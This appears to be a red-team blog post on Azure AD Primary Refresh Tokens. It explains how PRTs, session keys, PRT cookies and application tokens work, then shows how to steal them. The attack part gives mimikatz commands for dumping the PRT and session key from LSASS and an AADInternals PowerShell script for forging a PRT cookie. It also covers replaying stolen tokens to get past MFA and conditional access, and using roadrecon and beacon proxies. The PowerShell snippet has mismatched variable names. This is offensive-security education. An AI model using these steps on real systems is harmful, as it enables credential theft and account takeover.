Azure AD : PRT, PRT Cookie and Application Token

1. PRT / Session key & PRT Cookie : Quick recap

WARNING : This is only an attempt to make a quick summary of the PRT / PRT Cookie mechanism (in order for me to understand it properly) based on some amazing blog posts such as jairocadena, dirkjanm or microsoft.

WARNING 2 : As the AzureAD device joining process is not the purpose of this article, I can only urge you to read some amazing blog post about it such as this one

The Primary Refresh Token is a special credential artifact that is issued to devices that are either hybrid joined or AZure AD joined AND running at least Windows 10.

This Primary Refrest Token or PRT have the purpose of enforcing the SingleSignOn for all of the Azure services. This is the equivalent of the SeamlessSSO on Windows 7 / Windows 8.1.

It can be easily compared to the Kerberos TGT which mostly server the same purpose. The PRT is based on the JWT (JSON Web Token) / Oauth2 technology which contains claims about the user such as :

  • Device ID
  • Some specific MFA claims (ex : Windows Hello)

Please note that the Primary Refresh Token as a default duration of 90 days and a renewable window of 14 days.

If the computer supports it, the PRT along with the session key will be stored in the TPM (TPM >= 2.0) otherwise it will be stored in the LSASS.

In order for the computer to use the PRT there is a new provider implemented called the “Cloud Authentication Provider” shortened CloudAP which will handle the authentication to Azure AD or ADFS and caches the PRT in the LSA.

Every application that needs to use this SSO will use the other plugin called “Web Account Manager” abbreviated WAM which uses the PRT Cookie to request the different Application Token.

As an example Chrome and Edge rely on BrowserCore.exe which is a “client” that interact with the WAM

Terminology for the rest of the article :

  • PRT Token : Primary refresh token obtained through the windows logon process
  • Session Key : (Somehow equivalent to the session key stored in the Ticket Granting Ticket)
  • Context : 24 random bytes used to derive the session key
  • PRT Cookie : The signed PRT also called refresh token (e.g : x-ms-RefreshTokenCredential) somehow equivalent to the TGT
  • Application token : Somehow equivalent to the Service Ticket
  • CA : Conditionnal Access

PRT & Session key

As stated before the PRT is obtained during the Windows Logon and is not usable as is. You’ll find below the logon flow stolen from the microsoft documentation

SCHEMA_LOGON_FLOW

We can quickly summarize the authentication flow as the following :

  1. The user enter his username/password
  2. CloudAP will request a nonce
  3. Build a request using the username, password, nonce and sign it with the device key. (more info on those device keys here)
  4. Retrieve the PRT / Session Key and store it (TPM or LSASS)

The two essentials cryptographic materials, that you’ll end up at the end of the authentication flow are :

  • The session key
  • The Primary Refresh Token

With those two cryptographic materials you’ll be able to generate a PRT Cookie, thus accessing all of the Azure/O365 services through the SSO.

Now that we are in possession of our PRT and the Session key, let’s see how the PRT Cookie is generated with and without a TPM :

  1. Request nonce from login page (i.e : https://microsoftonline.microsoft.com)
  2. The LSASS (or TPM) derive the session key with a random context (24 random bytes used in BCryptKeyDerivation)
  3. PRT + Nonce signed by the derived session key
  4. Use PRT cookie to login / request token

Unfortunately since the “payload” part of the JWT is encrypted (with the Kstk key obtained during the device registration) we can’t get much information :

# PRT Cookie JSON structure (JWT)
# HEADER.PAYLOAD.SIG

{"typ":"JWT","alg":"HS256","ctx":"zk1uCjsCrMGSCDmsoCpNLuOK1+jx06cT"}.eyJ[...]bSJ9.YS7ZtuMOLDiMzQFPzx2nJNDTU8

Application Token

They way to request an Application Token with a PRT cookie is really easy when already having the PRT Cookie :

  1. Add the PRT Cookie to the logon request headers
  2. Done !

The content of the application token (JWT) is divided in three parts :

  1. The first part which is the header with the type of alg
  2. The last segment : the signature of the JWT

Between those two parts we have the payload which contains the claims with many different moving parts that are defined here

We can find below the decoded JWT AADGraph token :

{
  "typ":"JWT",
  "alg":"RS256",
  "x5t":"jS1X[...]2VzMc",
  "kid":"jS1Xo1[...]QO2VzMc"
}.{
  "aud":"https://graph.windows.net",
  "iss":"https://sts.windows.net/...",
  "iat":1654807010,
  "nbf":1654807010,
  "exp":1654811858,
  "acr":"1",
  "aio":"ASQA2[...]ZZL9EGEGA+8=",
  "amr":["pwd"],
  "appid":"1b73095[..]dac224a7b894",
  "appidacr":"0",
  "family_name":"<FAM_NAME>",
  "given_name":"No",
  "ipaddr":"<IP>",
  "name":"<NAME>",
  "oid":"77cf6[...]3c8ac",
  "puid":"[...]",
  "rh":"0.AU4AB6S[...]AwAAAAAAAAABOAOQ.",
  "scp":"user_impersonation",
  "sub":"IHK4ZNoV[...]k9pTkjfSznf4k",
  "tenant_region_scope":"EU",
  "tid":"93b5a407[..]b324ad5dade9",
  "unique_name":"no_cond@<domain>",
  "upn":"no_cond@<domain>",
  "uti":"VCrJTELv1UaGUC1O6fZAAA",
  "ver":"1.0"
}.KRkXjaoZ3b4vJIpI5tcP[...]61oEByDHthP54OiaPg

We can see some interesting part such as :

  • aud : The app id URI. As an example for AADGraph -> https://graph.windows.net
  • iss : The security token service and the azure AD tenant (Only the GUID should vary)
  • exp : The expiration time after which the token will expire.

You can find all the detailed information about all the properties here.

2. Red team : Work with the different available tokens

2.1 PRT

We will start by the easiest case which is the presence of a PRT without TPM.

The PRT in LSASS accessible with mimikatz with skurlsa::cloudap. Please note that you will need the SeDebugPrivilege since we are touching the LSASS :

PRT

As we can see we managed to retrieve the following cryptographic materials :

  • The session key
  • The Primate Refresh Token

The session key is encrypted using the DPAPI with the NT SYSTEM account. In order to decrypt it we need to be in possession of the DPAPI cryptographic material.

The easiest way is to have mimikatz running as NT SYSTEM thanks to token::elevate and then decrypt the the keyvalue field with dpapi::cloudapkd /keyvalue:.

DecryptKeyValue

We are now in possession of everything we need to craft our PRT cookie as long as the PRT is valid (14 days by default).

Regarding our 2nd case, which is the presence of a PRT with a TPM on the device as of the 2nd of June 2022 I did not managed to steal the PRT and the required keys as it was possible before.

It seems that earlier, one could not retrieve directly the raw session key but the derived one which was indeed enough to sign our PRT. The flow was the following :

  • Extract the derived session key and the context
  • (Extract more derived session key and context for the future, to sign more PRT)
  • Sign your PRT with mimikatz dpapi::cloudapk
  • Profit

As we just saw earlier the PRT contains some claims about our current situation such as the MFA or the device.

Unfortunately since the PRT Cookie is “just” the signed PRT, it does not allow us to circumvent the conditionnal access (such as IP location). As such you won’t be able to use the PRT cookie if you don’t pass the conditionnal access conditions.

The PRT Cookie can be used as-is in your browser in the x-ms-RefreshTokenCredential which should grant you access (as long as the enforced CA don’t deny you) :

# Get a PRT cookie with ADDInternals when on a hybrid joined/aad joined device
Get-AADIntUserPRTToken
eyJhbGc [....] plpVEJ-4

PRTReplace

If you have already compromised a computer and retrieved the PRT and Session Key (as in part 2.1) you can also craft your PRT Cookie manually.

Keep in mind that once again you will have to be in position to pass the CA otherwise you’ll get denied.

Let’s create our PRT cookie thanks to DrAzureAD and his work on AADInternals :

# Taken from : https://o365blog.com/post/prt/#the-mimikatz-way
# Our previsouly extracted PRT from LSASS

$rawPRT = " $rawPRT = "MC5BVTRBQjZTMWs..[..]..N4a1Zt""

# Add padding

while($rawPRT.Length % 4) {$rawPRT += "="}

# Convert from Base 64

$PRTBase64 = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key 

$sessionKey = "548e(...]736d868"

# Convert to byte array and base 64 encode

$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce

$prtToken = New-AADIntUserPRTToken -RefreshToken $PRTBase64 -SessionKey $SKey -GetNonce

We can now test our generated PRT Cookie to request application tokens or directly by injecting it in our browser like we did previously.

2.3 Application Access Tokens

In the end the only token that matter is the Application Tokens that will let you access the desired application ! There are tons of different applications with tons of different applications tokens.

You can have a rough idea by using the AADInternals and filtering out the different applications tokens available :

Function        Get-AADIntAccessTokenForAADGraph                   0.6.6      AADInternals
Function        Get-AADIntAccessTokenForAADIAMAPI                  0.6.6      AADInternals
Function        Get-AADIntAccessTokenForAADJoin                    0.6.6      AADInternals
Function        Get-AADIntAccessTokenForAdmin                      0.6.6      AADInternals
Function        Get-AADIntAccessTokenForAzureCoreManagement        0.6.6      AADInternals
Function        Get-AADIntAccessTokenForAzureMgmtAPI               0.6.6      AADInternals
Function        Get-AADIntAccessTokenForCloudShell                 0.6.6      AADInternals
Function        Get-AADIntAccessTokenForEXO                        0.6.6      AADInternals
Function        Get-AADIntAccessTokenForIntuneMDM                  0.6.6      AADInternals
Function        Get-AADIntAccessTokenForMSCommerce                 0.6.6      AADInternals
Function        Get-AADIntAccessTokenForMSGraph                    0.6.6      AADInternals
Function        Get-AADIntAccessTokenForMSPartner                  0.6.6      AADInternals
Function        Get-AADIntAccessTokenForMySignins                  0.6.6      AADInternals
Function        Get-AADIntAccessTokenForOfficeApps                 0.6.6      AADInternals
Function        Get-AADIntAccessTokenForOneDrive                   0.6.6      AADInternals
Function        Get-AADIntAccessTokenForPTA                        0.6.6      AADInternals
Function        Get-AADIntAccessTokenForSARA                       0.6.6      AADInternals
Function        Get-AADIntAccessTokenForSPO                        0.6.6      AADInternals
Function        Get-AADIntAccessTokenForTeams                      0.6.6      AADInternals
Function        Get-AADIntSkypeToken                               0.6.6      AADInternals

To obtain that access token you have to pass the conditional access but once you have them you can extract them from your target (computer A) to your computer (computer B) without to worry about the MFA or the CA !

Unfortunately for us those tokens lifetime are quite short by default ranging from 60 minutes to 90 minutes.

Based on my (short) experience the most useful tokens (from which you can get the more data) are the following :

  • AADGraph
  • MSGraph
  • AzureCoreManagement and you may have to step up your arsenal

As an example let’s make a collect with roadrecon and and AADGraph token :

python3 main.py auth --access-token eyJ0eXAiYfw8i[..]D1neX55X-CK1pIj8A
Tokens were written to .roadtools_auth

python3 main.py gather
Starting data gathering phase 1 of 2 (collecting objects)
Starting data gathering phase 2 of 2 (collecting properties and relationships)

ROADrecon gather executed in 3.95 seconds and issued 1018 HTTP requests.

While this short time frame may be enough to make a roadrecon collect, within large tenant this may be an issue and you may have to step up your arsenal

Example with IP CA : proxy your traffic through the SOCKS proxy of your beacon to pass the IP conditionnal access in order to use your PRT Cookie.

2.4 Summary

MFA Claim (hello/device) MFA Claim (others) Pass Conditionnal Access Extract without TPM Extract with TPM
PRT / Session keys x x
PRT Cookie x x x x
Application Acces Token x x x x x

3.Resources

https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30

https://github.com/MicrosoftDocs/azure-docs/blob/main/articles/active-directory/devices/concept-primary-refresh-token.md

https://jairocadena.com/2016/11/08/how-sso-works-in-windows-10-devices/

https://docs.microsoft.com/fr-fr/azure/active-directory/devices/concept-primary-refresh-token

https://secwise.be/how-to-bypass-mfa-in-azure-and-o365-part-1/

https://www.youtube.com/watch?v=OigKnI68Sfo

https://www.youtube.com/watch?v=R5pXessyfIk

https://dirkjanm.io/assets/raw/romhack_dirkjan.pdf